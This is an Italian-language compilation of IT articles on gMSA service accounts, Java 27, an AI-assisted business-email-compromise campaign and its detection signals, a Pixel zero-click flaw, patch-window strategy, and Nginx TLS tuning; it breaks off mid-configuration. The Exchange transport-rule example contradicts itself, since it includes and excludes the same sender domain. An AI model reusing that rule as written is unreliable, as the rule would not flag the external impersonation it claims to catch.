Il problema: account di servizio trattati come account utenteChiunque amministri un dominio Active Directory da più di qualche anno conosce la scena: un vecchio account di servizio con #password impostata per non scadere mai, usato da tre applicazioni diverse, con permessi accumulati nel tempo che nessuno ricorda più il perché siano stati concessi. Quando arriva il momento di ruotare quella password — magari a seguito di un audit di sicurezza o di un incidente — si scopre che dipende da lei anche un servizio di #backup dimenticato, un task pianificato su un server satellite e una voce di configurazione cifrata in un vault che nessuno aggiorna da anni.

Il problema di fondo è concettuale, prima ancora che tecnico: un account di servizio non è un account utente travestito. Un account utente rappresenta una persona che si autentica interattivamente ed è responsabile delle proprie azioni; un’identità di workload rappresenta un’applicazione, un servizio #Windows, un task pianificato o un job che deve autenticarsi senza che nessuno sia fisicamente presente. Trattare le due cose allo stesso modo — stessa policy di password, stesso processo di provisioning, stesso ciclo di vita — è la causa principale di gran parte dei problemi di gestione delle identità che si vedono in produzione.

La gerarchia corretta per scegliere l’identità di un workloadPrima di creare l’ennesimo account utente con “non scade mai” spuntato, vale la pena seguire un ordine di preferenza ormai consolidato nelle best practice Microsoft:

gMSA (Group Managed Service Account): la scelta di default per qualsiasi workload supportato che gira su uno o più server domain-joined. La gestione della password è completamente automatica e trasparente ad Active Directory, e lo stesso gMSA può essere condiviso da un gruppo di host (utile per farm IIS o cluster di servizi).

sMSA (Standalone Managed Service Account): quando il servizio è vincolato a un singolo host e non serve la condivisione tipica del gMSA.

Account utente dedicato: da usare solo come ultima spiaggia, quando il software non supporta i Managed Service Account (capita ancora con applicazioni legacy), e comunque dopo aver verificato in un ambiente di test che non ci siano alternative.

Account virtuale o locale: quando il servizio non ha bisogno di accedere a risorse di dominio, evitando di coinvolgere Active Directory laddove non serve.

Su #Azure il discorso è concettualmente identico ma la soluzione cambia nome: al posto del gMSA si #usa una Managed Identity (assegnata dal sistema o dall’utente), che elimina del tutto la necessità di gestire segreti per l’autenticazione verso i servizi Azure supportati (Key Vault, Storage, #SQL Database e decine di altri). Il principio è lo stesso: se esiste un meccanismo gestito dalla piattaforma che elimina la password dall’equazione, va preferito a qualsiasi credenziale gestita manualmente.

Creare un gMSA in praticaPer chi non lo avesse mai fatto, ecco il flusso minimo in PowerShell per predisporre e distribuire un gMSA:

Sul primo controller di dominio, crea la KDS Root Key (una tantum per foresta)

Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

Crea il gMSA

New-ADServiceAccount -Name "svc-webapp01" -DNSHostName "svc-webapp01.contoso.local"
-PrincipalsAllowedToRetrieveManagedPassword "WebServers"

Sull'host che ospiterà il servizio

Install-ADServiceAccount -Identity "svc-webapp01"
Test-ADServiceAccount -Identity "svc-webapp01"Una volta superato il test, il servizio Windows o il pool applicativo IIS può essere configurato per girare con l’identità CONTOSO\svc-webapp01$ senza che nessun amministratore debba mai più digitare o annotare una password per quell’account.

I quattro guasti tipici da evitareL’esperienza operativa mostra che la maggior parte degli incidenti legati alle identità di workload ricade in quattro categorie:

Dipendenze nascoste alla rotazione password: la password viene cambiata in Active Directory ma non in ogni servizio dipendente, task pianificato, file di configurazione cifrato, voce di vault o connettore remoto che la utilizza — risultato: un’ondata di errori di autenticazione a cascata.

Credenziali condivise tra workload diversi: un account “comodo” viene riutilizzato per un secondo servizio, poi un terzo; i suoi permessi si accumulano e la mappa delle dipendenze si espande fino a diventare ingestibile.

Account orfani: nessuno sa più spiegare a cosa serva un account, quando sia stato usato l’ultima volta o cosa succederebbe disabilitandolo — quindi resta attivo indefinitamente, per timore.

Over-permissioning: i permessi vengono concessi per “far funzionare la cosa” durante un deploy urgente e non vengono mai più rivisti né rimossi.

Guardrail operativi per ogni identità di workloadIndipendentemente dalla tecnologia scelta, ogni identità di workload dovrebbe avere:

Proprietà documentata: un owner tecnico e uno di business identificabili, non “il team infrastruttura” in senso vago.

Least privilege reale: solo i diritti strettamente necessari, con rimozione delle appartenenze a gruppi privilegiati ereditate per errore in fase di provisioning.

Confini di logon espliciti: nega l’accesso interattivo dove non serve (Deny log on locally / Deny log on through Remote Desktop Services) e limita l’account agli host e contesti di servizio approvati.

Monitoraggio dedicato: alert su logon da host inaspettati, tentativi di accesso interattivo, cambi di privilegio o pattern anomali di errori di autenticazione — un account di servizio che tenta un logon RDP è quasi sempre un segnale di compromissione.

Vale anche la pena distinguere i cicli di vita: un account persona segue i processi di onboarding, trasferimento e offboarding legati alle risorse umane; un’identità di workload dovrebbe invece seguire il ciclo di vita dell’applicazione che rappresenta — deploy, change, ritiro — e finire disabilitata quando quell’applicazione viene dismessa, non restare “per sicurezza” a tempo indeterminato.

Il processo di migrazione da account utente a identità gestitaQuando si eredita un ambiente pieno di account utente usati come service account, la migrazione va condotta con calma, un workload alla volta:

Riprodurre lo scenario in un ambiente di test rappresentativo.

Installare/autorizzare il gMSA (o configurare la Managed Identity) sugli host previsti.

Concedere solo i diritti effettivamente documentati come necessari.

Configurare gli SPN richiesti (il gMSA li gestisce automaticamente; un account utente richiede setspn manuale).

Validare in sequenza: salute del servizio, autenticazione Kerberos, accesso alle risorse, esecuzione dei task pianificati, comportamento in failover.

Passare in produzione una unità recuperabile alla volta, non tutto insieme.

Conservare la configurazione precedente finché il cambio non è stato accettato in modo stabile.

Definire in anticipo una condizione di stop chiara: se qualcosa va storto, si torna all’identità nota-buona invece di improvvisare credenziali diverse su nodi diversi.

È un lavoro che richiede pazienza, ma il risultato — niente più password condivise su fogli Excel, rotazioni automatiche, audit trail chiari — ripaga ampiamente lo sforzo iniziale, sia in ambiente on-premises con gMSA sia in Azure con Managed Identity.

Fonte originaleArticolo di riferimento: Service Account vs User Account: Default to a Managed Identity for Workloads — Petri IT Knowledgebase.

Java 27 è arrivato, e cambia due default che riguardano tuttiIl 15 settembre 2026 Oracle ha rilasciato #Java 27 (JDK 27), la nuova #release a cadenza semestrale del linguaggio. Come spesso accade con le versioni “dispari” del ciclo a sei mesi, non è la release con il maggior numero di feature preview eclatanti, ma introduce due cambiamenti strutturali che meritano attenzione da parte di chi gestisce applicazioni Java in produzione: il garbage collector G1 diventa il default in ogni ambiente, e arriva il supporto nativo a scambi di chiavi TLS 1.3 resistenti al calcolo quantistico. Sono esattamente il tipo di cambiamenti “silenziosi” che possono modificare il comportamento di un’applicazione senza che una sola riga di codice venga toccata.

JEP 523: G1 diventa il garbage collector di default ovunqueDa JDK 9, G1 (Garbage-First) è il collector di default negli ambienti “server”, mentre le JVM avviate in configurazioni più leggere o vincolate in termini di risorse ricadevano sul Serial Collector, storicamente più economico in termini di footprint di memoria e tempo di avvio ma limitato a un singolo thread di collezione.

Con JEP 523, questa distinzione sparisce: G1 diventa il default in tutti gli ambienti, incluse le configurazioni precedentemente riservate a Serial. La motivazione tecnica dichiarata dal team OpenJDK è che il lavoro di ottimizzazione degli ultimi anni ha reso G1 “competitivo con Serial a qualsiasi dimensione di heap”, con throughput, latenza, footprint di memoria e tempo di startup comparabili anche sui carichi più piccoli — lo scenario in cui Serial aveva storicamente il vantaggio più netto.

Per chi amministra JVM in produzione, questo significa in pratica:

Se non specificate esplicitamente un collector con -XX:+UseSerialGC, -XX:+UseParallelGC o -XX:+UseZGC, dopo l’upgrade a Java 27 la vostra applicazione userà G1 anche in scenari dove prima girava su Serial — ad esempio #container con limiti di memoria molto stretti o #microservizi con heap ridotti.

G1 introduce collezione a più thread e fasi concorrenti che Serial non ha: aspettatevi un pattern di utilizzo #CPU leggermente diverso durante i cicli di garbage collection, specialmente su ambienti con pochi core disponibili.

Se avete pipeline di test delle #performance o SLA di latenza stretti su servizi con footprint minimo (ad esempio funzioni serverless o batch job short-lived), vale la pena ripetere un benchmark mirato prima di fare l’upgrade in produzione, anche se il team OpenJDK dichiara di non aver osservato regressioni significative.

Per tornare al comportamento precedente è sufficiente il flag esplicito -XX:+UseSerialGC in fase di avvio della JVM: nessuna riscrittura di codice necessaria.

Va inoltre ricordato che da JDK 24 le Compact Object Headers (JEP 450, poi consolidate) sono considerate stabili e restano attive di default anche in Java 27: l’header degli oggetti passa da 96 a 64 bit su architetture a 64 bit, con benefici diretti su densità di deployment, località dei dati in cache e footprint complessivo dell’heap. Combinato con G1 come default universale, il risultato netto è una JVM pensata per comportarsi in modo più uniforme sia su un server con centinaia di GB di heap sia su un container #Kubernetes con 256 MB di limite.

JEP 527: scambio di chiavi TLS 1.3 ibrido e resistente al quantum computingLa seconda novità di rilievo riguarda la sicurezza delle comunicazioni. JEP 527 introduce nelle API javax.net.ssl il supporto a schemi di scambio di chiavi ibridi per TLS 1.3, che combinano un algoritmo classico basato su curve ellittiche con un algoritmo post-quantistico basato su reticoli (ML-KEM, standardizzato da NIST).

La motivazione non è ipotetica: il problema noto come “harvest now, decrypt later” descrive una minaccia già attuale, in cui traffico cifrato oggi con algoritmi classici viene intercettato e archiviato da attori con risorse importanti, in attesa che un futuro computer quantistico sufficientemente potente permetta di decifrarlo retroattivamente. Per dati con un valore di confidenzialità che si estende su anni — cartelle cliniche, segreti industriali, comunicazioni governative — agire ora, prima che il quantum computing su scala sia disponibile, è l’unica strategia sensata.

Uno schema ibrido ha una proprietà rassicurante per chi deve fidarsi della #crittografia oggi: rimane sicuro finché almeno uno dei due algoritmi componenti resiste, offrendo quindi il meglio di entrambi i mondi senza scommettere tutto sulla novità.

I tre gruppi supportatiJEP 527 introduce tre nuovi “named group” per TLS 1.3, ciascuno combinazione di ECDHE classico e ML-KEM:

X25519MLKEM768 — Curve25519 + ML-KEM-768

SecP256r1MLKEM768 — curva secp256r1 + ML-KEM-768

SecP384r1MLKEM1024 — curva secp384r1 + ML-KEM-1024, il livello di sicurezza più alto

L’ordine di preferenza di default della JVM diventa: X25519MLKEM768, x25519, secp256r1, secp384r1, secp521r1, x448, ffdhe2048, ffdhe3072, ffdhe4096, ffdhe6144, ffdhe8192. In altre parole, X25519MLKEM768 ha la priorità più alta: se sia client che server supportano TLS 1.3 su Java 27 senza configurazioni personalizzate, lo scambio di chiavi ibrido post-quantistico viene negoziato automaticamente, senza alcuna modifica al codice applicativo.

Come controllare o disabilitare il comportamentoChi ha bisogno di un controllo più fine — ad esempio per motivi di compatibilità con sistemi legacy o per test di interoperabilità — può intervenire in due modi.

Via system property, per sovrascrivere globalmente l’elenco dei gruppi supportati:

-Djdk.tls.namedGroups="secp256r1,x25519"Oppure programmaticamente, tramite SSLParameters, per un controllo puntuale sulla singola connessione:

SSLSocket tlsSock = (SSLSocket)(SSLContext.getDefault().
getSocketFactory().createSocket());
SSLParameters params = tlsSock.getSSLParameters();
params.setNamedGroups(new String[] {
"SecP256r1MLKEM768", "X25519MLKEM768", "secp256r1", "x25519"
});
tlsSock.setSSLParameters(params);Un punto operativo da non sottovalutare: i messaggi TLS ClientHello che negoziano questi gruppi ibridi sono più grandi rispetto a quelli con solo curve ellittiche classiche, per via delle chiavi pubbliche ML-KEM più voluminose. Se avete middlebox, load balancer o proxy TLS datati che fanno parsing rigido dei pacchetti ClientHello, vale la pena verificarne il comportamento prima del rollout su larga scala — è un problema già osservato in altri ecosistemi (#browser, OpenSSH) nella fase di adozione del PQC ibrido.

Altre novità degne di notaJEP 533 — Structured Concurrency (settima preview): il modello che tratta gruppi di task correlati eseguiti su thread diversi come un’unica unità di lavoro continua la sua maturazione, riducendo i rischi di thread leak e semplificando cancellazione e gestione degli errori nei flussi concorrenti. Resta in preview, quindi da usare con il flag --enable-preview e non ancora adatta a codice di produzione stabile.

JEP 532 — Primitive Types in Patterns (quinta preview): estende il pattern matching ai tipi primitivi, avvicinando ulteriormente la maturazione di questa funzionalità.

JEP 537 — Vector API (dodicesimo incubator): continua il lungo percorso di incubazione delle API vettoriali per carichi di data analytics e inferenza AI, pensate per sfruttare le istruzioni SIMD della CPU.

Cosa significa per chi pianifica un upgradeNessuna delle due novità principali richiede modifiche al codice applicativo, ma entrambe cambiano comportamenti impliciti su cui molti team non hanno mai dovuto ragionare esplicitamente. Prima di un upgrade a Java 27 in produzione, ha senso:

Verificare quale garbage collector state effettivamente usando oggi (spesso implicito, mai impostato esplicitamente) e ripetere un test di carico rappresentativo dopo l’upgrade, specialmente su servizi con heap piccoli o vincoli di latenza stretti.

Testare l’interoperabilità TLS con eventuali componenti di rete intermedi (load balancer, WAF, proxy) prima di esporre servizi che useranno automaticamente lo scambio di chiavi ibrido.

Se la vostra organizzazione ha requisiti di conformità legati alla crittografia post-quantistica (settore finanziario, sanitario, pubblica amministrazione), Java 27 offre finalmente un percorso “out of the box” senza dover ricorrere a provider crittografici di terze parti.

Nel complesso, Java 27 conferma una tendenza già vista in altri runtime e protocolli (OpenSSH, i principali browser): la crittografia post-quantistica sta passando rapidamente da tema di ricerca a default silenzioso nelle piattaforme che usiamo ogni giorno. Vale la pena arrivarci preparati, piuttosto che scoprirlo il giorno dell’upgrade.

Fonte: Oracle Java Blog – The Arrival of Java 27, con approfondimenti da Phoronix e dalle specifiche ufficiali JEP 523 e JEP 527 su OpenJDK.org.

Il 3 agosto 2026 qualcosa di insolito ha iniziato ad attraversare i filtri antispam di centinaia di organizzazioni statunitensi: oltre un milione di email di richiesta pagamento, tutte diverse tra loro, tutte credibili, tutte generate in appena tre giorni. Non è la solita campagna di #phishing a basso costo con errori grammaticali e loghi sgranati: secondo il report pubblicato dal Microsoft Threat Intelligence Center il 10 settembre 2026, dietro questa ondata di frodi BEC (Business Email Compromise) ci sono chiari indizi dell’uso di modelli linguistici generativi per scrivere, personalizzare e scalare l’inganno.

Per chi amministra infrastrutture di posta elettronica e sistemi di sicurezza, questa campagna è un caso di studio prezioso: mostra sia quanto l’AI stia alzando la qualità media degli attacchi di ingegneria sociale, sia quali segnali tecnici restano comunque rilevabili, se si sa dove guardare.

Anatomia della campagnaI ricercatori Microsoft hanno ricostruito una timeline precisa. Gli attaccanti hanno registrato domini “lookalike” — pensati per assomigliare a fornitori o partner legittimi — il 31 luglio 2026, pochi giorni prima del lancio operativo. Tra il 3 e il 5 agosto sono state distribuite oltre un milione di email, con l’87,7% dei destinatari concentrato negli Stati Uniti.

Il bersaglio era il personale degli uffici contabilità fornitori (accounts payable): le email si spacciavano per comunicazioni di dirigenti — CEO, CFO — che sollecitavano bonifici ACH da circa 50.000 dollari, corredati da fatture false con branding contraffatto (in diversi casi imitando ServiceNow) e sezioni “Fatturato a” personalizzate con il nome dell’azienda bersaglio.

Come si riconosce la mano dell’AIIl dato più interessante per chi fa detection non è “che è stata usata l’AI”, ma come lo si vede. Microsoft ha individuato pattern strutturali tipici della generazione automatica di contenuti:

Commenti HTML estesi che descrivono le sezioni del messaggio, tipicamente residui del prompt o del template usato per generare il markup

Intestazioni di sezione tutte maiuscole e verbose, con commenti sullo stile eccessivamente dettagliati

Uso sistematico di trattini lunghi (em dash) e divisori a banner (====================)

Struttura a template coerente, con formattazione uniforme ma dettagli organizzativi variabili tra un’email e l’altra

In parallelo, gli attaccanti hanno anche costruito thread email interamente fittizi — conversazioni mai avvenute, presentate come inoltri — per dare l’impressione di uno scambio già in corso e abbassare la guardia del destinatario. Qui però l’AI lascia scoperture tecniche concrete: gli header di inoltro standard mancavano, il testo delle conversazioni precedenti era allineato a sinistra invece di essere formattato come citazione, e ricorrevano frasi innaturali come “no need to copy me” pensate per scoraggiare la verifica incrociata con altri colleghi.

Segnali da mettere nei playbook SOCRiassumendo gli indicatori tecnici emersi dall’#analisi, ecco cosa vale la pena monitorare attivamente:

Mismatch tra display name e indirizzo email del mittente (nome del dirigente, dominio esterno appena registrato)

Parole chiave finanziarie urgenti nell’oggetto (“due bill”, “ACH Payment”, “pagamento in sospeso”)

Header email mancanti o incoerenti in messaggi presentati come inoltri

Domini “lookalike” registrati nei giorni immediatamente precedenti l’invio massivo

Difese tecniche concreteLa prima linea di difesa resta l’autenticazione email correttamente configurata. Se il vostro dominio non ha ancora un record DMARC in modalità di enforcement, è il momento di sistemarlo:

; Esempio di record DMARC in modalità di quarantena progressiva
_dmarc.tuodominio.it. IN TXT "v=DMARC1; p=quarantine; pct=50; rua=mailto:dmarc-reports@tuodominio.it; ruf=mailto:dmarc-forensics@tuodominio.it; fo=1"

; SPF: elenca esplicitamente solo gli host autorizzati a inviare
tuodominio.it. IN TXT "v=spf1 include:spf.protection.outlook.com -all"Su Microsoft 365, oltre a SPF/DKIM/DMARC, vanno attivate le funzionalità di #Defender for Office 365 pensate proprio per questo scenario: lo Zero-hour Auto Purge (ZAP), che mette in quarantena retroattivamente i messaggi già recapitati quando emergono nuove informazioni di threat intelligence, e l’Automatic Attack Disruption, che contiene automaticamente attacchi in corso limitando l’impatto sull’organizzazione.

Per chi vuole aggiungere una regola di trasporto mirata a intercettare l’impersonificazione dei dirigenti, un buon punto di partenza in #Exchange Online #PowerShell è una regola che segnala i messaggi esterni il cui nome visualizzato coincide con quello di un dirigente interno:

New-TransportRule -Name "Flag possibile impersonificazione executive" -HeaderContainsMessageHeader "From"
-HeaderContainsWords "Mario Rossi","Giulia Bianchi" -SenderDomainIs "tuodominio.it" -ExceptIfSenderDomainIs "tuodominio.it"
-PrependSubject "[POSSIBILE IMPERSONIFICAZIONE] " `
-Mode EnforceDa ultimo, la parte umana del processo resta insostituibile: la verifica dei pagamenti ad alto valore va fatta fuori banda, ad esempio con una telefonata a un numero già noto (mai a un numero indicato nell’email stessa), e il personale amministrativo va addestrato periodicamente a riconoscere questi pattern — Microsoft mette a disposizione l’Attack Simulation Training in Defender for Office 365 proprio per esercitazioni realistiche su scenari di questo tipo.

ConclusioneQuesta campagna conferma una tendenza che i team di sicurezza dovrebbero dare ormai per acquisita: l’AI generativa non introduce necessariamente nuove tecniche di attacco, ma innalza drasticamente la qualità e la scala di quelle esistenti, rendendo la BEC “tradizionale” più difficile da distinguere da una comunicazione legittima. La buona notizia è che gli stessi strumenti di detection basati su pattern e comportamento — autenticazione email, regole di trasporto mirate, ZAP, attack disruption — restano efficaci, a patto di tenerli configurati e aggiornati. La differenza, oggi più che mai, la fa la disciplina nella configurazione, non l’ennesimo layer di prodotto.

Fonte: Microsoft Security Blog, via Petri IT Knowledgebase

Un solo #portafoglio per 27 sistemi: l' #UE può creare un' #identità #digitale non #tracciabile ? | #Euronews

#uno @sicurezza@diggita.com #sicurezza #money

https://it.euronews.com/my-europe/2026/09/17/un-solo-portafoglio-per-27-sistemi-lue-puo-creare-unidentita-digitale-non-tracciabile

Google ha confermato il 16 settembre che alcuni smartphone Pixel sono stati oggetto di attacchi mirati che hanno sfruttato una vulnerabilità nel modem cellulare integrato nei dispositivi. Il numero di terminali colpiti sembra limitato, ma la falla non richiede alcuna interazione da parte dell’utente per essere sfruttata, un dettaglio che rende la vicenda particolarmente delicata.

La falla CVE-2026-58704 permette l’escalation dei privilegiIl problema, identificato come CVE-2026-58704, è stato risolto con l’aggiornamento di sicurezza Android di settembre 2026, che nel complesso corregge oltre 200 vulnerabilità. Google ha specificato che questa in particolare è stata sfruttata in attacchi limitati e mirati.

La vulnerabilità riguarda una falla logica nel codice del modem cellulare presente sui dispositivi Pixel, che permette di bypassare i controlli sui permessi. In pratica, un attaccante potrebbe ottenere da remoto privilegi elevati senza bisogno di eseguire codice con permessi aggiuntivi, e soprattutto senza che la vittima debba cliccare link sospetti o installare app malevole: si tratta di un attacco definito “zero-click”.

Anche il CISA statunitense conferma lo sfruttamento attivoLa Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti ha inserito la vulnerabilità nel proprio catalogo delle falle note e attivamente sfruttate, confermando che il problema di autenticazione nel modem cellulare dei Pixel è stato effettivamente utilizzato in attacchi reali. L’agenzia sottolinea come questo tipo di vulnerabilità rappresenti un vettore ricorrente per attori malevoli, con rischi particolarmente elevati per enti governativi.

Al momento Google non ha fornito dettagli sui modelli Pixel coinvolti né sulle modalità precise con cui la falla sarebbe stata utilizzata negli attacchi, né sull’identità dei responsabili.

Cosa fare per proteggersiverificare nelle impostazioni del proprio Pixel la disponibilità dell’aggiornamento di sicurezza di settembre 2026

installare l’update non appena disponibile, anche in assenza di segnalazioni di problemi visibili

non presupporre che l’assenza di comportamenti anomali escluda un possibile tentativo di attacco, trattandosi di una falla zero-click

Anche se il numero di dispositivi coinvolti risulta limitato, la natura zero-click della vulnerabilità rende comunque consigliabile installare la patch di sicurezza il prima possibile per tutti gli utenti Pixel.

Google ha rilasciato il nuovo aggiornamento di settembre per Android 17 QPR1, dedicato alla famiglia Pixel. Oltre alla patch di sicurezza del mese, il pacchetto introduce ben venti correzioni che toccano app, fotocamera, Bluetooth, display, sistema, connettività e interfaccia utente, con l’obiettivo di rendere l’esperienza d’uso più stabile e fluida su un parco dispositivi molto ampio.

Dal Pixel 6 al Pixel 11, aggiornamento trasversaleLa novità più interessante riguarda l’ampiezza del supporto: l’update copre modelli che vanno dal Pixel 6, dal Pixel 6 Pro e dal Pixel 6a fino alle serie Pixel 7, 8, 9, 10 e all’attuale Pixel 11, passando per Pixel Fold e Pixel Tablet. Non tutte le correzioni riguardano però ogni modello: alcuni bug sono specifici della serie Pixel 10, mentre altri interessano trasversalmente gran parte della gamma a partire dal Pixel 6.

Sul fronte sicurezza, la patch di settembre risolve complessivamente 115 vulnerabilità datate 1 settembre e 85 datate 5 settembre, a cui si aggiungono 110 correzioni specifiche per l’ecosistema Pixel. La build globale porta il numero CP3A.260905.009 ed è già disponibile anche in formato OTA per il flashing manuale.

Meno crash e migliori prestazioni in giocoDiverse correzioni riguardano la stabilità quotidiana del sistema. È stato risolto un crash che colpiva alcune app Google in condizioni specifiche, mentre sulla serie Pixel 10 è stato corretto un problema che causava l’arresto anomalo di alcuni giochi all’avvio. Sistemato anche un bug che impediva di attivare Wi-Fi e Bluetooth in determinate circostanze, oltre a un’instabilità della fotocamera su Pixel Tablet che poteva portare al blocco completo del sistema.

Non manca l’attenzione ai videogiocatori: Google ha corretto rallentamenti, frame rate instabile e surriscaldamento durante l’uso prolungato di app grafiche pesanti, un intervento che dovrebbe tradursi in sessioni di gioco più fluide e meno soggette a throttling termico.

Altre correzioni degne di notaCrash di sistema durante l’installazione, la disinstallazione o l’aggiornamento di app

Rallentamenti legati al database di Android System Intelligence

Direzione di scorrimento invertita con le scorciatoie di ingrandimento

Widget della schermata Home che sparivano dopo un riavvio

Problemi di connettività alla rete mobile su alcuni Pixel

Notifiche non rimovibili con lo swipe e testo sovrapposto nelle notifiche

Nel complesso, l’aggiornamento di settembre di Android 17 QPR1 non introduce nuove funzionalità clamorose, ma punta a consolidare l’affidabilità dei Pixel nell’uso quotidiano. Vista la quantità di correzioni che toccano prestazioni, connettività e stabilità, si tratta di un update che gli utenti Pixel interessati farebbero bene a installare non appena disponibile.

Il problema non è più “quando” applicare le patch, ma “quanto” siamo espostiPer anni la gestione delle #patch nelle infrastrutture IT ha seguito una logica prudente: rilasciare l’aggiornamento, aspettare qualche giorno o settimana per verificare che non rompa nulla in produzione, poi distribuirlo in ondate controllate. Questo modello, ragionevole quando gli attaccanti impiegavano settimane a sviluppare un exploit funzionante, sta diventando insostenibile di fronte a una realtà cambiata radicalmente: gli attori malevoli usano oggi strumenti di intelligenza artificiale per identificare e sfruttare le vulnerabilità in tempi drasticamente più brevi rispetto ai cicli di patching tradizionali.

Il punto non è più teorico. Il volume di vulnerabilità pubblicate mensilmente ha raggiunto livelli che nessun team può gestire con processi manuali: nel Patch Tuesday di giugno 2026 Microsoft ha corretto 208 vulnerabilità, salite a 621 in luglio, di cui 63 classificate come critiche e almeno 2 già sfruttate attivamente al momento del rilascio. Nessun tecnico può ragionevolmente assorbire quel volume come uno dei tanti task settimanali, e infatti le linee guida Microsoft più recenti raccomandano finestre di differimento inferiori a tre giorni per gli aggiornamenti qualitativi, con deadline di installazione a zero o un giorno e non più di due giorni di margine.

Da “patch dei computer” a “gestione del ciclo di vita di tutto ciò che è connesso”Il cambio di paradigma proposto non è semplicemente “patchare più in fretta”, ma ripensare cosa significhi effettivamente gestire il rischio di un parco IT. Il modello classico, incentrato sull’endpoint patching, lascia scoperta una superficie di attacco enorme e in crescita: stampanti di rete, telecamere IP, sistemi HVAC, telefoni VoIP, PLC industriali. Sono tutti dispositivi connessi alla rete aziendale, spesso raggiungibili da #Internet, quasi mai coperti dai sistemi di patch management tradizionali e, in molti casi, privi di un meccanismo di aggiornamento comodo o di supporto attivo del vendor.

Il risultato è una classe intera di apparati “connessi, esposti e ignorati” — per usare la formula più efficace del problema — che rappresentano oggi un vettore di compromissione tanto concreto quanto un server #Windows non aggiornato, ma con una probabilità molto più bassa di rientrare in un audit di sicurezza periodico.

Un caso reale: PLC industriali sotto attaccoNon è uno scenario ipotetico. Nel corso del 2026 un avviso del governo statunitense ha documentato attori legati all’Iran nell’atto di sfruttare controllori logici programmabili (PLC) esposti direttamente su Internet in infrastrutture critiche di settori governativo, idrico, delle acque reflue ed energetico. Gli attaccanti hanno manipolato i file di progetto dei PLC e alterato le visualizzazioni SCADA, causando interruzioni operative e perdite economiche dirette.

Le raccomandazioni pubblicate da CISA in seguito a questi incidenti non riguardavano tecniche sofisticate di difesa, ma fondamentali di sicurezza rimasti clamorosamente disattesi: rimuovere l’esposizione diretta a Internet dei dispositivi, cambiare le credenziali di default, usare #password complesse, applicare le patch fornite dai vendor quando disponibili. È la controprova di quanto il problema non sia (solo) tecnologico, ma di processo e visibilità.

Cosa cambia in pratica per un team infrastrutturaleTradurre questo cambio di prospettiva in azioni concrete significa lavorare su più fronti contemporaneamente, senza aspettare che sia un incidente a imporre le priorità.

1. Automazione del patching Windows guidata da policyIl primo passo è tecnicamente il più semplice: abbandonare il rollout scaglionato basato solo sulla prudenza a favore di processi automatizzati e guidati da policy documentate, con eccezioni esplicite e motivate anziché ritardi impliciti “per abitudine”. Strumenti come Windows Update for Business, #Intune o WSUS permettono già oggi di configurare deadline aggressive con anelli di sicurezza (rollback automatico, Known Issue Rollback) per i casi in cui un aggiornamento causi regressioni.

2. Inventario di tutto ciò che è connesso, non solo degli endpoint gestitiServe un censimento che vada oltre l’inventario classico di Active Directory o dell’MDM: switch, access point, stampanti di rete, telecamere, sistemi di building automation, dispositivi OT. Molti di questi asset sono scoperti solo tramite scansione attiva della rete o strumenti di asset discovery dedicati, perché non compaiono mai in un dominio Windows.

3. Segmentazione di rete per i sistemi non aggiornabiliPer i dispositivi privi di un percorso di patching realistico — firmware non più supportato, hardware embedded, sistemi legacy critici che non possono essere sostituiti a breve — la mitigazione primaria diventa il contenimento: segmentazione di rete dedicata, accesso solo tramite gateway controllati, credenziali univoche e non condivise, monitoraggio del traffico in ingresso/uscita da quei segmenti.

4. Pianificazione della sostituzione, non solo della protezionePer gli apparati che restano permanentemente non aggiornabili, la sola segmentazione è un palliativo, non una soluzione. Va costruito un piano di sostituzione con priorità basata su esposizione e criticità, invece di lasciare che questi dispositivi restino operativi a tempo indeterminato “perché funzionano ancora”.

Il messaggio di fondo per chi gestisce infrastrutture nel 2026La sintesi più utile di questo cambiamento è che la vecchia domanda — “possiamo aspettare qualche giorno prima di installare questa patch?” — va sostituita da una diversa: “quanto tempo restiamo esposti se aspettiamo, e chi altro nella rete è esposto insieme a noi anche se non lo stiamo patchando direttamente?”. In un contesto in cui gli attaccanti automatizzano la ricognizione e lo sfruttamento delle vulnerabilità con strumenti AI, il differimento smette di essere una misura prudente di default e diventa esso stesso un rischio da giustificare, caso per caso, con un’eccezione documentata.

Per i team più piccoli, senza le risorse di un SOC dedicato, il punto di partenza realistico resta comunque il più efficace: un inventario onesto di tutto ciò che è connesso alla rete, anche (soprattutto) ciò che nessuno ha mai pensato di considerare un “endpoint” da patchare.

Fonte: 4sysops – The patch window is collapsing: why security needs a new control plane e Petri IT Knowledgebase – The Patch Window Is Collapsing. Your Service Model Has to Change, di Amy Babinchak.

Perché il TLS handshake è ancora il vostro nemico nascosto del TTFBIl 95% del traffico #web oggi viaggia su HTTPS, ma la maggior parte delle configurazioni #Nginx in produzione #usa ancora i parametri di default che erano ragionevoli cinque anni fa e oggi lasciano sul tavolo decine di millisecondi di Time To First Byte. La buona notizia è che si tratta quasi sempre di ottimizzazioni “una tantum”: si toccano poche direttive, si ricarica Nginx e il guadagno resta lì, per ogni richiesta, per sempre.

In questo articolo vediamo come intervenire su cache di sessione, cifrari, buffer TLS, HTTP/3 e header di sicurezza, con un occhio a cosa è cambiato di recente (OCSP stapling è ormai carta straccia con Let’s Encrypt, HTTP/3 con 0-RTT richiede #OpenSSL aggiornato) e cosa invece continua a essere un mito da sfatare.

Il conto salato dell’handshake TLS ripetutoOgni nuova connessione TLS 1.2 costa un round trip aggiuntivo rispetto a una connessione già “nota” al server; TLS 1.3 lo riduce a un solo round trip nel caso normale, e a zero con il resumption. Il problema è che di default la session cache di Nginx è minuscola e la sua durata troppo breve per traffico reale distribuito su più server.

ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
ssl_session_tickets on;
Un dettaglio che quasi nessuno controlla: 1 MB di cache condivisa contiene circa 4.000 sessioni. Con 10m si arrivano a 40.000 sessioni attive, un valore ragionevole per un sito di media grandezza ma da ricalcolare se avete decine di migliaia di client concorrenti (osservate ssl_session_cache statistiche via nginx -V con modulo stub_status compilato, oppure strumentate a livello di access log).

Se gestite un parco di più server dietro un load balancer, i session ticket devono usare la stessa chiave su tutte le istanze, altrimenti ogni volta che il bilanciatore sposta il client su un nodo diverso l’handshake riparte da zero, vanificando il resumption. La chiave va generata una volta e distribuita in modo sicuro (es. tramite un secret manager), non rigenerata ad ogni deploy.

Cifrari: meno scelta, meno lavoro per la CPUSu TLS 1.3 il set di cifrari è già ristretto e sicuro per design, ma su TLS 1.2 — che va ancora mantenuto attivo per compatibilità con client legacy su siti pubblici — vale la pena essere espliciti ed escludere tutto ciò che non è AEAD (GCM o ChaCha20-Poly1305):

ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
